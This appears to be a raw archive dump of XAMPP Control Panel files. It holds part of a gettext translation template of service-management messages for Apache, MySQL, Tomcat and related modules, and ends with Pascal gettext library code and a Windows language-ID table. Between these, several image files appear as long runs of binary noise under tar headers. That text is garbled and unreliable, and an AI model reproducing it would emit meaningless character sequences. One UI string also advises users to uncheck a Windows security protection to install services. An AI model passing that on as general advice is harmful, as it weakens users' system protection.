uTomcat.pas:204 msgid "%s WILL NOT start without the configured ports " "free!" msgstr "" #: uApache.pas:189 #: uFileZilla.pas:180 #: uMercury.pas:156 #: uMySQL.pas:181 #: uTomcat.pas:205 msgid "You need to uninstall/disable/reconfigure the blocking " "application" msgstr "" #: uApache.pas:190 #: uFileZilla.pas:181 #: uMercury.pas:157 #: uMySQL.pas:182 #: uTomcat.pas:206 msgid "or reconfigure %s and the Control Panel to listen on a different " "port" msgstr "" #: uApache.pas:204 #: uFileZilla.pas:203 #: uMySQL.pas:195 #: uTomcat.pas:223 msgid "Installing service..." msgstr "" #: uApache.pas:205 #: uApache.pas:221 #: uFileZilla.pas:198 #: uFileZilla.pas:201 #: uFileZilla.pas:204 msgid "Executing \"%s %s\"" msgstr "" #: uApache.pas:208 #: uApache.pas:224 #. RC := StartService(RemoveWhiteSpace(Config.ServiceNames.Apache)); #: uApache.pas:244 #: uApache.pas:258 #. RC := StopService(RemoveWhiteSpace(Config.ServiceNames.Apache)); #: uApache.pas:283 #: uFileZilla.pas:207 #: uFileZilla.pas:223 #: uFileZilla.pas:242 #: uFileZilla.pas:253 #: uFileZilla.pas:272 #: uFileZilla.pas:283 #: uMercury.pas:186 #: uMySQL.pas:199 #: uMySQL.pas:215 #: uMySQL.pas:234 #: uMySQL.pas:247 #: uMySQL.pas:269 #. RC:=ShellExecute_AndWait('open', App, Param, '', SW_HIDE, true); #: uTomcat.pas:227 #. RC:=ShellExecute_AndWait('open', App, Param, '', SW_HIDE, true); #: uTomcat.pas:250 #: uTomcat.pas:273 #: uTomcat.pas:292 #: uTomcat.pas:315 msgid "Return code: %d" msgstr "" #: uApache.pas:210 #: uApache.pas:226 #: uApache.pas:248 #: uApache.pas:262 #: uApache.pas:287 #: uFileZilla.pas:209 #: uFileZilla.pas:225 #: uFileZilla.pas:244 #: uFileZilla.pas:255 #: uFileZilla.pas:274 #: uFileZilla.pas:285 #: uMercury.pas:188 #: uMySQL.pas:201 #: uMySQL.pas:217 #: uMySQL.pas:237 #: uMySQL.pas:250 #: uMySQL.pas:272 #: uTomcat.pas:276 #: uTomcat.pas:318 msgid "There may be an error, return code: %d - " "%s" msgstr "" #: uApache.pas:220 #: uTomcat.pas:246 msgid "Uninstalling service..." msgstr "" #: uApache.pas:238 #: uFileZilla.pas:237 #: uMySQL.pas:229 #: uTomcat.pas:268 msgid "Attempting to start %s service..." msgstr "" #: uApache.pas:253 #: uFileZilla.pas:249 #: uMercury.pas:182 #: uMySQL.pas:242 #: uTomcat.pas:281 msgid "Attempting to start %s app..." msgstr "" #: uApache.pas:277 #: uFileZilla.pas:267 #: uMySQL.pas:264 #: uTomcat.pas:310 msgid "Attempting to stop %s service..." msgstr "" #: uApache.pas:297 #: uMercury.pas:201 #: uMySQL.pas:282 msgid "Attempting to stop" msgstr "" #. RC := RunProcess(App, SW_HIDE, false); #: uApache.pas:303 #: uMercury.pas:204 #: uMySQL.pas:285 msgid "Problem killing PID %d" msgstr "" #: uApache.pas:304 #: uMercury.pas:205 #: uMySQL.pas:286 msgid "Check that you have the proper privileges" msgstr "" #: uApache.pas:310 #: uMercury.pas:211 #: uMySQL.pas:292 msgid "No PIDs found?!" msgstr "" #: uApache.pas:409 #: uFileZilla.pas:384 #: uMercury.pas:306 #: uMySQL.pas:389 #. Change Status #: uTomcat.pas:411 msgid "running" msgstr "" #: uApache.pas:412 #: uFileZilla.pas:387 #: uMercury.pas:309 #: uMySQL.pas:392 #: uTomcat.pas:414 msgid "stopped" msgstr "" #: uApache.pas:416 #: uFileZilla.pas:391 #: uMercury.pas:313 #: uMySQL.pas:396 #: uTomcat.pas:418 msgid "Status change detected:" msgstr "" #: uApache.pas:420 #: uFileZilla.pas:395 #: uMercury.pas:317 #: uMySQL.pas:400 #: uTomcat.pas:422 msgid "Error: %s shutdown unexpectedly." msgstr "" #: uApache.pas:421 #: uFileZilla.pas:396 #: uMercury.pas:318 #: uMySQL.pas:401 #: uTomcat.pas:423 msgid "This may be due to a blocked port, missing dependencies, " msgstr "" #: uApache.pas:422 #: uFileZilla.pas:397 #: uMercury.pas:319 #: uMySQL.pas:402 #: uTomcat.pas:424 msgid "improper privileges, a crash, or a shutdown by another " "method." msgstr "" #: uApache.pas:423 #: uFileZilla.pas:398 #: uMercury.pas:320 #: uMySQL.pas:403 #: uTomcat.pas:425 msgid "Press the Logs button to view error logs and " "check" msgstr "" #: uApache.pas:424 #: uFileZilla.pas:399 #: uMercury.pas:321 #: uMySQL.pas:404 #: uTomcat.pas:426 msgid "the Windows Event Viewer for more clues" msgstr "" #: uApache.pas:425 #: uFileZilla.pas:400 #: uMercury.pas:322 #: uMySQL.pas:405 #: uTomcat.pas:427 msgid "If you need more help, copy and post " "this" msgstr "" #: uApache.pas:426 #: uFileZilla.pas:401 #: uMercury.pas:323 #: uMySQL.pas:406 #: uTomcat.pas:428 msgid "entire log window on the forums" msgstr "" #: uApache.pas:436 #: uApache.pas:439 #: uApache.pas:444 #: uFileZilla.pas:409 #: uFileZilla.pas:412 #: uMercury.pas:331 #: uMercury.pas:334 #: uMySQL.pas:414 #: uMySQL.pas:417 #: uTomcat.pas:436 #: uTomcat.pas:439 msgid "Stop" msgstr "" #: uApache.pas:465 #: uFileZilla.pas:429 #: uMercury.pas:351 #: uMySQL.pas:434 #: uTomcat.pas:456 msgid "Autostart aborted: %s is already running" msgstr "" #: uApache.pas:469 #: uFileZilla.pas:433 #: uMercury.pas:355 #: uMySQL.pas:438 #: uTomcat.pas:460 msgid "Autostart active: starting..." msgstr "" #: uFileZilla.pas:72 msgid "Expected Path: \"%sFileZillaFTP\\%s\"" msgstr "" #: uFileZilla.pas:93 msgid "Checking for alternate module existence..." msgstr "" #: uFileZilla.pas:178 #: uMySQL.pas:179 #: uTomcat.pas:203 msgid "Port %d in use by \"%s\"!" msgstr "" #: uFileZilla.pas:197 msgid "Setting Service Name..." msgstr "" #: uFileZilla.pas:200 msgid "Setting Service Display Name..." msgstr "" #: uFileZilla.pas:279 msgid "Attempting to stop %s app..." msgstr "" #: uLanguage.pas:55 msgid "Restart application to apply changes!" msgstr "" #: uMain.pas:199 #: uMain.pas:302 #: uMain.pas:395 #: uMain.pas:535 msgid "Services cannot be installed or uninstalled while the service is " "running!" msgstr "" #: uMain.pas:205 #: uMain.pas:307 #: uMain.pas:400 #: uMain.pas:540 msgid "Click Yes to uninstall the %s service" msgstr "" #: uMain.pas:216 #: uMain.pas:318 #: uMain.pas:411 #: uMain.pas:551 msgid "Click Yes to install the %s service" msgstr "" #: uMain.pas:228 #: uMain.pas:330 #: uMain.pas:423 #: uMain.pas:563 msgid "Service was NOT (un)installed!" msgstr "" #. WinXP #: uMain.pas:231 #. WinXP #: uMain.pas:333 #. WinXP #: uMain.pas:426 #. WinXP #: uMain.pas:566 msgid "One possible reason for failure: On windows security box you !!!MUST " "UNCHECK!!! the \"Protect my computer and data from unauthorized " "program activity\" checkbox!!!" msgstr "" #: uMain.pas:236 #: uMain.pas:338 #: uMain.pas:431 #: uMain.pas:571 msgid "Successful!" msgstr "" #: uMain.pas:263 #: uMain.pas:264 #: uMain.pas:265 #: uMain.pas:277 #: uMain.pas:278 #: uMain.pas:361 #: uMain.pas:371 #: uMain.pas:454 #: uMain.pas:463 #: uMain.pas:503 #: uMain.pas:511 #: uMain.pas:598 #: uMain.pas:607 msgid "" msgstr "" #: uMain.pas:481 msgid "Mercury cannot be run as service!" msgstr "" #: uMain.pas:655 msgid "File \"%s\" not found. Should it be created " "now?" msgstr "" #: uMain.pas:664 #: uTools.pas:243 #: uTools.pas:337 msgid "Error" msgstr "" #: uMain.pas:818 msgid "User defined" msgstr "" #: uMain.pas:875 #: uMySQL.pas:196 #: uMySQL.pas:212 msgid "Executing %s %s" msgstr "" #: uMain.pas:978 msgid "Initializing Control Panel" msgstr "" #: uMain.pas:995 msgid "Windows Version: %s %s %s" msgstr "" #: uMain.pas:1001 msgid "WARNING: Your Operating System is too old and is not " "supported" msgstr "" #: uMain.pas:1018 msgid "Running with Administrator rights - " "good!" msgstr "" #: uMain.pas:1022 msgid "You are not running with administrator rights! This will work " "for" msgstr "" #: uMain.pas:1023 msgid "most application stuff but whenever you do something with " "services" msgstr "" #: uMain.pas:1024 msgid "there will be a security dialogue or things will break! So think " msgstr "" #: uMain.pas:1025 msgid "about running this application with administrator " "rights!" msgstr "" #: uMain.pas:1032 msgid "XAMPP Installation Directory: \"%s\"" msgstr "" #: uMain.pas:1035 msgid "WARNING: Your install directory contains spaces. This may break " "programs/scripts" msgstr "" #: uMain.pas:1060 msgid "WARNING: Your install directory contains special characters. This " "may break programs/scripts" msgstr "" #: uMain.pas:1069 msgid "Checking for prerequisites" msgstr "" #: uMain.pas:1078 msgid "Required XAMPP prerequisite not found!" msgstr "" #: uMain.pas:1079 msgid "You do not appear to have the Microsoft Visual C++ 2008 Runtimes " "installed" msgstr "" #: uMain.pas:1080 msgid "This is required for XAMPP to fully " "function" msgstr "" #: uMain.pas:1084 msgid "All prerequisites found" msgstr "" #: uMain.pas:1091 msgid "VC++ checking is disabled" msgstr "" #: uMain.pas:1094 msgid "Initializing Modules" msgstr "" #: uMain.pas:1101 #: uMain.pas:1115 #: uMain.pas:1129 #: uMain.pas:1143 #: uMain.pas:1156 msgid "The %s module is disabled" msgstr "" #: uMain.pas:1170 #: uMain.pas:1178 #: uMain.pas:1186 #: uMain.pas:1194 #: uMain.pas:1202 msgid "Enabling autostart for module \"%s\"" msgstr "" #: uMain.pas:1206 msgid "Starting" msgstr "" #: uMain.pas:1208 msgid "Control Panel Ready" msgstr "" #: uMain.pas:1213 msgid "Deinitializing Modules" msgstr "" #: uMain.pas:1234 msgid "Deinitializing Control Panel" msgstr "" #: uMySQL.pas:84 msgid "Expected Path: %smysql\\bin\\%s --defaults-file=%smysql\\bin\\my.ini " "%s" msgstr "" #: uNetstat.pas:260 msgid "New listening socket: %s:%d" msgstr "" #: uNetstat.pas:282 msgid "Listening socket closed: %s:%d" msgstr "" #: uNetstatTable.pas:130 msgid "unknown program" msgstr "" #: uProcesses.pas:140 #: uProcesses.pas:230 msgid "Deleting PID-entry %d: %s" msgstr "" #. ProcInfo.ExePath := LowerCase(GetProcessPath(TProcessEntry.th32ProcessID)); #: uProcesses.pas:217 msgid "Creating PID-entry %d: %s" msgstr "" #: uServices.pas:32 #: uServices.pas:52 msgid "Searching for service %s" msgstr "" #: uServices.pas:37 msgid "Found service, attempting to start" msgstr "" #: uServices.pas:43 #: uServices.pas:63 msgid "Return Code %d" msgstr "" #: uServices.pas:57 msgid "Found service, attempting to stop" msgstr "" #: uTomcat.pas:80 msgid "Expected Path: %stomcat\\bin\\%s //RS//%s" msgstr "" #: uTomcat.pas:122 msgid "Problem detected: Required Tool catalina_start.bat Not " "Found!" msgstr "" #: uTomcat.pas:127 msgid "Problem detected: Required Tool catalina_stop.bat Not " "Found!" msgstr "" #: uTomcat.pas:132 msgid "Problem detected: Required Tool catalina_service.bat Not " "Found!" msgstr "" #: uTomcat.pas:182 msgid "Java is already running on port %d!" msgstr "" #: uTomcat.pas:183 msgid "Is %s already running?" msgstr "" #: uTomcat.pas:230 msgid "%s Service Install stopped with errors, return code: " "%d" msgstr "" #: uTomcat.pas:231 #: uTomcat.pas:254 #: uTomcat.pas:296 msgid "Make sure you have Java JDK or JRE installed and the required ports " "are free" msgstr "" #: uTomcat.pas:232 #: uTomcat.pas:255 #: uTomcat.pas:297 msgid "Check the \"/xampp/tomcat/logs\" folder for more " "information" msgstr "" #: uTomcat.pas:253 msgid "%s Service Uninstall stopped with errors, return code: " "%d" msgstr "" #: uTomcat.pas:295 msgid "%s Started/Stopped with errors, return code: " "%d" msgstr "" #: uTomcat.pas:323 msgid "Attempting to stop %s" msgstr "" xampp-control-panel/gfx/150px-Flag_of_Germany.svg.jpg000066600000002217151723641500016434 0ustar00JFIFHHC  !"$"$C*P" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?ʊW_U>Cޏ[5jĢ#'G"d_z #W_UT?}?3_KJ+o]|?2T+χFO*Pu/1(EuQ>?>Cރ5j+DG(++c/Ic=gPY` s`g ֈfaq+]OOC늧!H$- e2nRn'$rzbKWI}n DQmN6;1O /???֣|?3j?mlw?c?_y}'_)&Gg?:G'ge%˦5&ݺ@#ަ? fI,oW<}Cޓ'/'O3^_?;U' '>?X.^x}qԏz+B>>???AAABBBCCCDDDEEEFFFFFFHHHZZZsS̗oKKK888999:::<<<===??????AAABBBBBBDDDEEEWWWuTϚrGGG333444666777999:::;;;<<<>>>???@@@AAAUUUxVќsBBB///000111333444666666888:::;;;======RRRzXԞu===)))ѭ...///111222444666777888:::NNN|Zՠv999%%%&&&ttt***,,,---///111222444555KKK~\آy444 Ϩ$$$%%%&&&(((***,,,---///111FFF^٣y444 !!!"""$$$%%%&&&(((***,,,---///111FFF`ۤz111222333444555666777999;;;<<<===???AAACCCcܧ{ۤzڣyآyסx՟vӞtќsϚr͗p˕nɔlǑkďiÍgfݭ蹒蹒蹒蹒蹒蹒蹒蹒Ddħp޴ܧ{ܦzڤzآyءyՠvԞuҝsϚrΙp˖oɔlǞѭxampp-control-panel/gfx/bullet_green.bmp000066600000001466151723641500014416 0ustar00BM66(tt˛OVLTӝ˕ԣЛX^ܵ̋ʅНNUZ_ҕ̉ԤPXܟ֛º߻̕ΛܟZ_Y_֞xampp-control-panel/gfx/bullet_green.png000066600000000447151723641500014422 0ustar00PNG  IHDRagAMA7tEXtSoftwareAdobe ImageReadyqe<IDAT8c?%a8첒W7[\]k`Df_УwI-6m6˫?g:/D`;[wz tior'_|efp~*^g(e1]OQU"D9єH#"IENDB`xampp-control-panel/gfx/bullet_red.bmp000066600000001466151723641500014070 0ustar00BM66(tt.*/*…||yx*,pwgl/**-~nt-*}}*-*-xampp-control-panel/gfx/bullet_red.png000066600000000437151723641500014073 0ustar00PNG  IHDRagAMA7tEXtSoftwareAdobe ImageReadyqe<IDAT8- PGYZD \Ƣb,Eaf]ĬFe0/L0©xA %҂M(m@] p/> &*00x,Q!w0Ta P|Fn^1Bưy<рir #[Xj[MU,O|ދds)IENDB`xampp-control-panel/gfx/Checked.bmp000066600000000366151723641500013273 0ustar00BMv(  3333333333D3333334"C33333B"$33334"""C333B""$333"*:"$3333"C33:33:"$333333"C33333:"$333333"C33333:"$333333$333333:"3333333xampp-control-panel/gfx/Checked2.bmp000066600000000366151723641500013355 0ustar00BMv(  3333333333D3333334"C33333B"$33334"""C333B""$333"*:"$3333"C33:33:"$333333"C33333:"$333333"C33333:"$333333$333333:"3333333xampp-control-panel/gfx/cross.bmp000066600000001466151723641500013100 0ustar00BM66(ttOLA@'%1/XVcaXUCA.-A?LJ1/[XebqpYVDB74GEcbJH/-[YfctqZXEC@>PMhgPN64\ZgdtrsppnnlWU?=][yvYVWTrpHF^[}y^[[XvtGDhepm~~{|yyw^\IFpmwtvsdb`]mj{y`]JGur}z|ylia^nl}za_KHzw~~tqb_om~|b_zwyvdajhxampp-control-panel/gfx/door.bmp000066600000001466151723641500012712 0ustar00BM66(tt0q,n(k$h!fca_\[llllll6u؃ׁ}{yvt]4444444449څGyrli?;rcTG9.&;AXؾȝ_iΊ~ΉW`9?Ȟ`jύϋXa9@ɞblяzȅW`Ģʟcm_i˩ʟΩxampp-control-panel/gfx/UnChecked.bmp000066600000000366151723641500013576 0ustar00BMv(# # ddd\11>1111>xampp-control-panel/gfx/world.bmp000066600000001466151723641500013076 0ustar00BM66(ttmoGI7:7:CFegϵuy=BŝÝұ~1|4cegmpҠųʴ}̯xx̕ڼfzMPÊv׳y~Ʃjױi֭e^`jYhg{ceV`itnqmɣ[߫[ݨXNXxfZg0{3зϔׯ޴pЀť\ЧWVڦQǘJGWeyceozσԐ܊˂̢Vگ\ܯ[ɚKCCRbevؽBDfrs}lǧ^Ӱ^ƙSƼnzm_{WZg7;gt܁؃wmߧʨ]½lڋ`w?jFYPcl<@s~қ⢝ϹṉfuvgfMeMl]s~LQם޵̱ύˋʹfgqszqУȤrwdqﴵ؜ӕ͵mdzm˄ߚHO١נۦޫ͐ȋկzǑ~Ґآ߯޵ԢСЪɑrz٢erỺڴװ׬`kΒܖ؞uˀhtero{֚xampp-control-panel/gfx/wrench.bmp000066600000001466151723641500013235 0ustar00BM66(ttܛsՃQ}Kߣᧄߤ«ܙqߤۗoȳ縛洘ëޜsߦݟy̷轣䱒涚ìޜtᩇ˶泔̸龥峔淛ĭޞx᪈˸洘ͺ鿥崖繝Ʈޟy㬋͹淙λ轣ȳߤܢκ淜ϼκ⮌қ{λ繜涘ةҵнḞᓓȼęŪ׉Ϭ繹ԟԬxampp-control-panel/gfx/xampp.gif000066600000002763151723641500013064 0ustar00GIF87a y#x#y#y"???z&؄F?y"x"y&y$x"oooy$y'[[[ y$x#WWW;;;kkk{{{z'󣣣CCC///cccy%Yz(y%___777333GGGy&v츍ǡy%z,{)~9{.C>}˜ry&㈈챁AJ܌R߁@ԋUe###{)ۻ|/~8ߔ^<}6|0e܁A܈MKKKy')))lz+}0|3;[~5|-ܼвٺz*үӷOOORwwwۏWϫz)ֳ˦ؗ׃Ez$9{,{)Ty#Uz)h뺐꺏jz(񾾾z#{*ȵSSSy$ ;x$sssz$ggg Xx#߀By&, @H@ a+JK C>YB2xi$q$@ y <0 #Q.n*p *X$ńBjݚJLlc),(BN@I &QKpypL͊*s|dX 2˜9eNJZWN#IU?j$AτAOp{mpQঌ!,b%:]фG8"`$ZW_&eG]3d%:>Gôb]PЁ4UI\PC2!+KF`uApK" A,8c <$!tUjJ6hFd\&d79 gBU^p6`  +RPeQaPLDR}Pn@nU[`dhln o q r r!s!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!s!s!s r q pnlifa]V&^bQ]bfjmp q s!s!t!u!u!u!u!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!u!u!u!u!u!t s q pnkgc_W0cW}R^cgkn q r!t!u!v!v!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!v!v!u!t s qolie`V>oNyT_dhlo q!s!u!v!w!w!w!w!w"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x!w!w!w!w!w!v!u!s rpmie`X7kHvU_dimp r!s!u!v!w!w"x"x"xvsqpooprt!w"x"x"x"x"x"x"x"x"x"x"x"x"x"x wtrqpprtv"x"x!w!w!w!u!t r pnjfaY6iFtV`eimp r!s!u!w!w"x"x ws(|Oq~fDvt"x"y"y"y"y"y"y"y"y"y"y!xr wDeuyxiM,~sv"x!w!w!v!t s pnjfaY5iDsV`eim p r!t!u!w!w"xsuj>rw"y"y"y"y"y"y"y"yuu\}$ys!w!w!v!t s qnjfaY4iCsV`eim p r!t!v!w!wrCwv"y"y"y"y"y"yr?Yqv!v!u s qnkfaY4iBsW`ein p s!t!v!wqY(|v"y"y"y"yr_qu!u!s qokgbY3hBrW`ein p s!t!vpS"yw"y"yr[p t!s qokgbZ3hBrW`ein p s!tr5s"yv8^n!s qokgbZ3hBrW`ejn p s tq[su2q qokgbZ3hBrW`ejm p spHpTxk qokgbZ3hAqW`ejm p smx,#tpokgbZ2hAqW`ejm prrotrs+~}#zww\akokgbZ2hAqWaejm pp/}px!y!yuwow x xp[iokgbZ2hAqWaejm po7,y"qmmnmkigc_[Q=l^ JW[_ceghh&rHeu~xkR0xhhhfc`\XR"X%ZxOTX\_bbeBrzR#jbb`]YUO VR|PPUX\]#gL^-o^\ZVRIAmwHPLRUW^P}~~~~~~~~~~~~~b(fWUSO E_:f DNQSX+f8q?wAz@y=w9t5q2o/m.l,k+j*i*i)h)h)h)h)h)h)h)h)h)h)h)h)h)h)h)h)h)h)h)i)i*i*j+j-l/m1n4q8soKwWcin r!t!v!w!w"x!wvrpooqu!w"x"x"x"x"x"x"x"x"x!xvsqpqsu!w!w!w!v!u rojeZ7jFtXcjo r!u!v!w"xvt0^m;uv"y"y"y"y"y"y"y ws.WszqO,~sv!w!w!u soke\4iDsXdjo r!u!w!ws(|+s"y"y"y"y"yuv ws!w!u s pke\3iDsYdjo r!u!wr=Cs"y"y"yu06q!v!r pkf\2iCsYdjo r!ur?Ht#yv39r!s plf\2iBsYdjo rs%y.u x$xr plf\2hBsYejo rn kt~m plf]2hArZejoq%w6&wolf]1hArZejonI#yrtn%{v0Ollf]1hArZejomg0t"y wquv xs.rilf]1hArZekoks x x"y"yop"y"y"yohlf]1hArZdkolm%{ x"y"yskp"y"y"ypxilf]1hArZdkolc.w"y"yw4p"y"y"ypajlf]1hArZdkonHTs"y"y"yuUxr"y"y"yo8mlf]1hArZdkoq*zr"y"y"y"ytw%{%{%{%{%{%{%{%{%{#z"y"y"y!xqnplf]1hArZdko rpOr"y"y"y"y x x x x x x x x x x!x"y"y!yq^Eo plf]1hArZdko roZ0t"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y!x!y?o plf]1hArZdko rs&y:pw!x"y"y"y"y"y"y"y"y"y"y"y"y"yum plf]1hArZdko rok3tpqqqqqqqsw"y"y"y xw#uolf]1hArZdkor!uxxxxxyyc'|w"y"y"yqj<mlf]1hArZekooC#zvvn*~w"y"yw1_jlf]1h@qZejold.t!x!xopr"y"y"ystilf]1hArZejokp"y x"y"ypo"y"y"yo~hlf]1hArZejokl#yw"y"yop"y"y!xr}hlf]1hArZejomTzoqoF5pun]ijlf]1hArZejop/}k^eFw>mlf]1hArYdjo rooqplf]1hBrYdjo rq 0 then begin SetLength(Result, Len - 1); Windows.GetEnvironmentVariableW(PWideChar(Name), PWideChar(Result), Len); end; end; function StripCRRawMsgId(s: RawUtf8String): RawUtf8String; var i: Integer; begin i := 1; while i <= length(s) do begin if s[i] = #13 then delete(s, i, 1) else inc(i); end; Result := s; end; function EnsureLineBreakInTranslatedString(s: RawUtf8String): RawUtf8String; {$IFDEF MSWINDOWS} var i: Integer; {$ENDIF} begin {$IFDEF MSWINDOWS} Assert(sLinebreak = AnsiString(#13#10)); i := 1; while i <= length(s) do begin if (s[i] = #10) and (MidStr(s, i - 1, 1) <> #13) then begin insert(#13, s, i); inc(i, 2); end else inc(i); end; {$ENDIF} Result := s; end; function IsWriteProp(Info: PPropInfo): boolean; begin Result := Assigned(Info) and (Info^.SetProc <> nil); end; function ResourceStringGettext(msgid: MsgIdString): TranslatedUnicodeString; var i: Integer; begin if (msgid = '') or (ResourceStringDomainListCS = nil) then begin // This only happens during very complicated program startups that fail, // or when Msgid='' Result := msgid; exit; end; ResourceStringDomainListCS.BeginRead; try for i := 0 to ResourceStringDomainList.Count - 1 do begin Result := dgettext(ResourceStringDomainList.Strings[i], msgid); if Result <> msgid then break; end; finally ResourceStringDomainListCS.EndRead; end; end; function gettext(const szMsgId: MsgIdString): TranslatedUnicodeString; begin Result := DefaultInstance.gettext(szMsgId); end; { *------------------------------------------------------------------------------ This is the main translation procedure used in programs. It takes a parameter, looks it up in the translation dictionary, and returns the translation. If no translation is found, the parameter is returned. @param szMsgId The text, that should be displayed if no translation is found. ------------------------------------------------------------------------------- } function _(const szMsgId: MsgIdString): TranslatedUnicodeString; begin Result := DefaultInstance.gettext(szMsgId); end; { *------------------------------------------------------------------------------ Translates a text, using a specified translation domain. If no translation is found, the parameter is returned. @param szDomain Which translation domain that should be searched for a translation. @param szMsgId The text, that should be displayed if no translation is found. ------------------------------------------------------------------------------- } function dgettext(const szDomain: DomainString; const szMsgId: MsgIdString): TranslatedUnicodeString; begin Result := DefaultInstance.dgettext(szDomain, szMsgId); end; function dngettext(const szDomain: DomainString; const singular, plural: MsgIdString; Number: longint): TranslatedUnicodeString; begin Result := DefaultInstance.dngettext(szDomain, singular, plural, Number); end; function ngettext(const singular, plural: MsgIdString; Number: longint): TranslatedUnicodeString; begin Result := DefaultInstance.ngettext(singular, plural, Number); end; procedure textdomain(const szDomain: DomainString); begin DefaultInstance.textdomain(szDomain); end; procedure SetGettextEnabled(enabled: boolean); begin DefaultInstance.enabled := enabled; end; function getcurrenttextdomain: DomainString; begin Result := DefaultInstance.getcurrenttextdomain; end; procedure bindtextdomain(const szDomain: DomainString; const szDirectory: FilenameString); begin DefaultInstance.bindtextdomain(szDomain, szDirectory); end; procedure TP_Ignore(AnObject: TObject; const name: FilenameString); begin DefaultInstance.TP_Ignore(AnObject, name); end; procedure TP_GlobalIgnoreClass(IgnClass: TClass); begin DefaultInstance.TP_GlobalIgnoreClass(IgnClass); end; procedure TP_IgnoreClass(IgnClass: TClass); begin DefaultInstance.TP_IgnoreClass(IgnClass); end; procedure TP_IgnoreClassProperty(IgnClass: TClass; const propertyname: ComponentNameString); begin DefaultInstance.TP_IgnoreClassProperty(IgnClass, propertyname); end; procedure TP_GlobalIgnoreClassProperty(IgnClass: TClass; const propertyname: ComponentNameString); begin DefaultInstance.TP_GlobalIgnoreClassProperty(IgnClass, propertyname); end; procedure TP_GlobalHandleClass(HClass: TClass; Handler: TTranslator); begin DefaultInstance.TP_GlobalHandleClass(HClass, Handler); end; procedure TranslateComponent(AnObject: TComponent; const textdomain: DomainString = ''); begin DefaultInstance.TranslateComponent(AnObject, textdomain); end; procedure RetranslateComponent(AnObject: TComponent; const textdomain: DomainString = ''); begin DefaultInstance.RetranslateComponent(AnObject, textdomain); end; {$IFDEF MSWINDOWS} // These constants are only used in Windows 95 // Thanks to Frank Andreas de Groot for this table const IDAfrikaans = $0436; IDAlbanian = $041C; IDArabicAlgeria = $1401; IDArabicBahrain = $3C01; IDArabicEgypt = $0C01; IDArabicIraq = $0801; IDArabicJordan = $2C01; IDArabicKuwait = $3401; IDArabicLebanon = $3001; IDArabicLibya = $1001; IDArabicMorocco = $1801; IDArabicOman = $2001; IDArabicQatar = $4001; IDArabic = $0401; IDArabicSyria = $2801; IDArabicTunisia = $1C01; IDArabicUAE = $3801; IDArabicYemen = $2401; IDArmenian = $042B; IDAssamese = $044D; IDAzeriCyrillic = $082C; IDAzeriLatin = $042C; IDBasque = $042D; IDByelorussian = $0423; IDBengali = $0445; IDBulgarian = $0402; IDBurmese = $0455; IDCatalan = $0403; IDChineseHongKong = $0C04; IDChineseMacao = $1404; IDSimplifiedChinese = $0804; IDChineseSingapore = $1004; IDTraditionalChinese = $0404; IDCroatian = $041A; IDCzech = $0405; IDDanish = $0406; IDBelgianDutch = $0813; IDDutch = $0413; IDEnglishAUS = $0C09; IDEnglishBelize = $2809; IDEnglishCanadian = $1009; IDEnglishCaribbean = $2409; IDEnglishIreland = $1809; IDEnglishJamaica = $2009; IDEnglishNewZealand = $1409; IDEnglishPhilippines = $3409; IDEnglishSouthAfrica = $1C09; IDEnglishTrinidad = $2C09; IDEnglishUK = $0809; IDEnglishUS = $0409; IDEnglishZimbabwe = $3009; IDEstonian = $0425; IDFaeroese = $0438; IDFarsi = $0429; IDFinnish = $040B; IDBelgianFrench = $080C; IDFrenchCameroon = $2C0C; IDFrenchCanadian = $0C0C; IDFrenchCotedIvoire = $300C; IDFrench = $040C; IDFrenchLuxembourg = $140C; IDFrenchMali = $340C; IDFrenchMonaco = $180C; IDFrenchReunion = $200C; IDFrenchSenegal = $280C; IDSwissFrench = $100C; IDFrenchWestIndies = $1C0C; IDFrenchZaire = $240C; IDFrisianNetherlands = $0462; IDGaelicIreland = $083C; IDGaelicScotland = $043C; IDGalician = $0456; IDGeorgian = $0437; IDGermanAustria = $0C07; IDGerman = $0407; IDGermanLiechtenstein = $1407; IDGermanLuxembourg = $1007; IDSwissGerman = $0807; IDGreek = $0408; IDGujarati = $0447; IDHebrew = $040D; IDHindi = $0439; IDHungarian = $040E; IDIcelandic = $040F; IDIndonesian = $0421; IDItalian = $0410; IDSwissItalian = $0810; IDJapanese = $0411; IDKannada = $044B; IDKashmiri = $0460; IDKazakh = $043F; IDKhmer = $0453; IDKirghiz = $0440; IDKonkani = $0457; IDKorean = $0412; IDLao = $0454; IDLatvian = $0426; IDLithuanian = $0427; IDMacedonian = $042F; IDMalaysian = $043E; IDMalayBruneiDarussalam = $083E; IDMalayalam = $044C; IDMaltese = $043A; IDManipuri = $0458; IDMarathi = $044E; IDMongolian = $0450; IDNepali = $0461; IDNorwegianBokmol = $0414; IDNorwegianNynorsk = $0814; IDOriya = $0448; IDPolish = $0415; IDBrazilianPortuguese = $0416; IDPortuguese = $0816; IDPunjabi = $0446; IDRhaetoRomanic = $0417; IDRomanianMoldova = $0818; IDRomanian = $0418; IDRussianMoldova = $0819; IDRussian = $0419; IDSamiLappish = $043B; IDSanskrit = $044F; IDSerbianCyrillic = $0C1A; IDSerbianLatin = $081A; IDSesotho = $0430; IDSindhi = $0459; IDSlovak = $041B; IDSlovenian = $0424; IDSorbian = $042E; IDSpanishArgentina = $2C0A; IDSpanishBolivia = $400A; IDSpanishChile = $340A; IDSpanishColombia = $240A; IDSpanishCostaRica = $140A; IDSpanishDominicanRepublic = $1C0A; IDSpanishEcuador = $300A; IDSpanishElSalvador = $440A; IDSpanishGuatemala = $100A; IDSpanishHonduras = $480A; IDMexicanSpanish = $080A; IDSpanishNicaragua = $4C0A; IDSpanishPanama = $180A; IDSpanishParaguay = $3C0A; IDSpanishPeru = $280A; IDSpanishPuertoRico = $500A; IDSpanishModernSort = $0C0A; IDSpanish = $040A; IDSpanishUruguay = $380A; IDSpanishVenezuela = $200A; IDSutu = $0430; IDSwahili = $0441; IDSwedishFinland = $081D; 